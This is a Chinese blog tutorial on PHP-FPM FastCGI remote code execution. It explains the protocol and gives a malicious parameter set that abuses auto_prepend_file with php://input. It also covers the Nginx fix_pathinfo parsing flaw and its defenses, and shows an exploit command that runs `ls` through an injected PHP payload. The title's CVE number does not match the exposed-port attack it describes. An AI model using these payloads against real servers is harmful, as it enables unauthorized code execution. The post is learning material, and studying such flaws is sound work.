php-FPM 基于fastcgi协议的rce漏洞复现 CVE-2019-11043

1. 基础知识

1.1 fastcgi是什么

是一个协议,类似于http协议。fastcgi是一种web服务器与某种语言进行数据交换的规则,而http协议是浏览器与web容器进行数据交换的规则。

1.2 PHP-FPM是什么

PHP-FPM就是一个实现了fastcgi协议的实体程序,全名是Fast-cij process manager,可以利用PHP-FPM可以接收web容器发过来的符合fastcgi协议格式的数据,然后执行相应的php文件,然后将执行结果返回web容器,web容器返回给客户端。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量,也可以理解成php.ini文件中的部分配置,通过这个请求包而执行的php文件所使用的具体配置以请求包中定义的配置为准。

例如,假如我们可以控制这个请求包中的内容,我们可以在请求包中加上'PHP_ADMIN_VALUE': 'allow_url_include = On',那么此次请求的文件中就可以使用远程文件包含。不过disable_functions不能被配置。

PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php,这个php文件必须在服务器内才行。

PHP-FPM默认监听9000端口,如果这个端口可以被我们直接访问到,则我们可以自己构造fastcgi协议,和fpm进行通信。

1.3 漏洞利用原理

利用条件:

  1. 知道某个php文件在服务器上的绝对路径
  2. 可以访问PHP-FPM的9000端口

在我们可以访问到PHP-FPM的9000端口的时候我们就可以构造恶意的fastcgi格式的数据与PHP-FPM进行通信并进行rce。

数据举例如下:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

这个请求是访问index.php,且它在服务器上的绝对路径是/var/www/html/index.php,必须知道某个文件的绝对路径才能进行漏洞利用。

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_file为php://input,然后通过添加’PHP_ADMIN_VALUE’: 'allow_url_include = On’在fastcgi数据中来开启开启allow_url_include。此时,index.php在加载前会先加载我们放在post请求Body中的代码,从而达到rce。


下面是php安装后默认含有的php文件:
在这里插入图片描述

漏洞利用结果:

在这里插入图片描述

补充:Nginx(IIS7)文件解析漏洞产生原因

Nginx和IIS7曾经出现过一个PHP相关的解析漏洞(测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability),该漏洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php时,访问到的文件是favicon.ico,但却按照.php后缀解析了。

用户请求http://127.0.0.1/favicon.ico/.php,nginx将会发送如下环境变量到fpm里:

{
    ...
    'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',
    'SCRIPT_NAME': '/favicon.ico/.php',
    'REQUEST_URI': '/favicon.ico/.php',
    'DOCUMENT_ROOT': '/var/www/html',
    ...
}

正常来说,SCRIPT_FILENAME的值是一个不存在的文件/var/www/html/favicon.ico/.php,是PHP设置中的一个选项fix_pathinfo导致了这个漏洞。PHP为了支持Path Info模式而创造了fix_pathinfo,在这个选项被打开的情况下,fpm会判断SCRIPT_FILENAME是否存在,如果不存在则去掉最后一个/及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在。

所以,第一次fpm发现/var/www/html/favicon.ico/.php不存在,则去掉/.php,再判断/var/www/html/favicon.ico是否存在。显然这个文件是存在的,于是被作为PHP文件执行,导致解析漏洞。

防御方案

1.在Nginx端使用fastcgi_split_path_info将path info信息去除后,用tryfiles判断文件是否存在;
2.借助PHP-FPM的security.limit_extensions配置项,避免其他后缀文件被解析。

2. 漏洞利用

在msf中search fpm:

在这里插入图片描述

填入各种参数:

在这里插入图片描述

执行run进行利用:

在这里插入图片描述

对直接暴露的9000端口进行攻击:

exp下载地址

python3 fpm_exp.py 192.168.171.138/usr/local/lib/php/PEAR.php -c "<?php echo `ls`?>"

在这里插入图片描述

参考文章

PHP-FPM Fastcgi 未授权访问漏洞
PHP-FPM Fastcgi 未授权访问漏洞
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值